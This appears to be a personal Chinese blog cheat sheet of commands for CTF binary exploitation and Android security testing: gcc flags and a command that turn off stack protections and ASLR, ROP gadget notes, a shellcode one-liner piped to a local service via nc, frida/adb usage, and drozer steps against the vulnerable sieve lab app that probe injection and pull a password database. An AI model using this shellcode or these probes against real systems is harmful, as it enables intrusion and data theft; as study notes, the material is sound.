常用命令记录

本文最后更新于:2021年11月1日 晚上

Linux/Mac命令记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
echo xxxxx > xx.txt 会自动换行
echo -n xxxxx > xx.txt 不会换行

sudo passwd root //更改root密码

//链接
$ sudo rm -rf python
$ sudo ln -s /usr/bin/python3 /usr/bin/python
//换内核程序
sudo apt-get install synaptic
//重启桌面
sudo /etc/init.d/gdm restart
//关闭ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限
gcc -z execstack -fno-stack-protector -no-pie -z norelro
//linux命令,将指定程序在指定端口运行:
socat tcp-listen:10001,reuseaddr,fork EXEC:./file_name,pty,raw,echo=0

//在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样)

特殊的gadgets:
通常位于x64的ELF程序中的__libc_csu_init,
universal_gadget1 = 0x40075a #万能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
universal_gadget2 = 0x400740 #万能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]

xattr -d -r com.apple.quarantine ./*

echo -e "`perl -e 'print "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1c\xd0\xff\xff"'`" | nc 127.0.0.1 1337

ABD/frida/android命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
adb tcpip 5555
adb connect xxxxx:5555
强制运行32位模式:adb install --abi armeabi-v7a xxxx.apk

cat /proc/cpuinfo #Android查看cpu架构

adb shell am start -D -n com.iscclockk/.MainActivity
jdb附加 jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

setenforce 0
设置全局调试:
magisk resetprop ro.debuggable 1
stop;start;

frida非标准端口连接:
./frida-server -l 0.0.0.0:6666
frida-ps -H 192.168.1.102:6666
objection -p 6666
以调试模式启动:
adb shell am set-debug-app -w com.d3ctf.noname
查看android是32还是64:
adb shell getprop ro.product.cpu.abi
查看app最前台进程:
adb shell dumpsys window | grep mCurrentFocus
frida -U -f cn.ticktick.task -l 202012lesson6.js --no-pause

mobsf:docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

image-20210811001815387

docker命令

1
2
3
4
5
6
7
8
9
10
11
12
13
//导入镜像:docker import - ubuntu/17.04.amd64
//运行镜像:docker run -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash
会创建一个docker容器,第一个端口是宿主机的端口,第二个是容器的端口
//列出容器:docker container ls -a
//容器重命名:docker container rename old_name new_name
//打开容器的shell:docker exec -it container_name /bin/bash
//启动容器:docker start container_name
//复制:docker container cp file_name container_name:/root

//导入镜像
docker load -i nginx.tar
//导出镜像
docker save -o nginx.tar nginx:latest

IDA常用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sub_ 指令和子函数起点
locret_ 返回指令
loc_ 指令
off_ 数据,包含偏移量
seg_ 数据,包含段地址值
asc_ 数据,ASCII字符串
byte_ 数据,字节(或字节数组)
word_ 数据,16位数据(或字数组)
dword_ 数据,32位数据(或双字数组)
qword_ 数据,64位数据(或4字数组)
flt_ 浮点数据,32位(或浮点数组)
dbl_ 浮点数,64位(或双精度数组)
tbyte_ 浮点数,80位(或扩展精度浮点数)
stru_ 结构体(或结构体数组)
algn_ 对齐指示
unk_ 未处理字节

drozer命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
> list  //列出目前可用的模块,也可以使用ls
> help app.activity.forintent //查看指定模块的帮助信息
> run app.package.list //列出android设备中安装的app
> run app.package.info -a com.android.browser //查看指定app的基本信息
> run app.activity.info -a com.android.browser //列出app中的activity组件
> run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //开启一个activity,例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo //查找可以读取的Content Provider
> run app.provider.query content://settings/secure --selection "name='adb_enabled'" //读取指定Content Provider内容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定文件路径里全局可写/可读的文件
> run shell.start //shell操作
> run tools.setup.busybox //安装busybox
> list auxiliary //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver //webcontentresolver帮助
> run auxiliary.webcontentresolver //执行在浏览器中以http://localhost:8080即可访问
以sieve示例
> run app.package.list -f sieve //查找sieve应用程序
> run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve //确定攻击面
> run app.activity.info -a com.mwr.example.sieve //获取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist
> run app.provider.info -a com.mwr.example.sieve //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址
>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
> run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve //查看服务

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!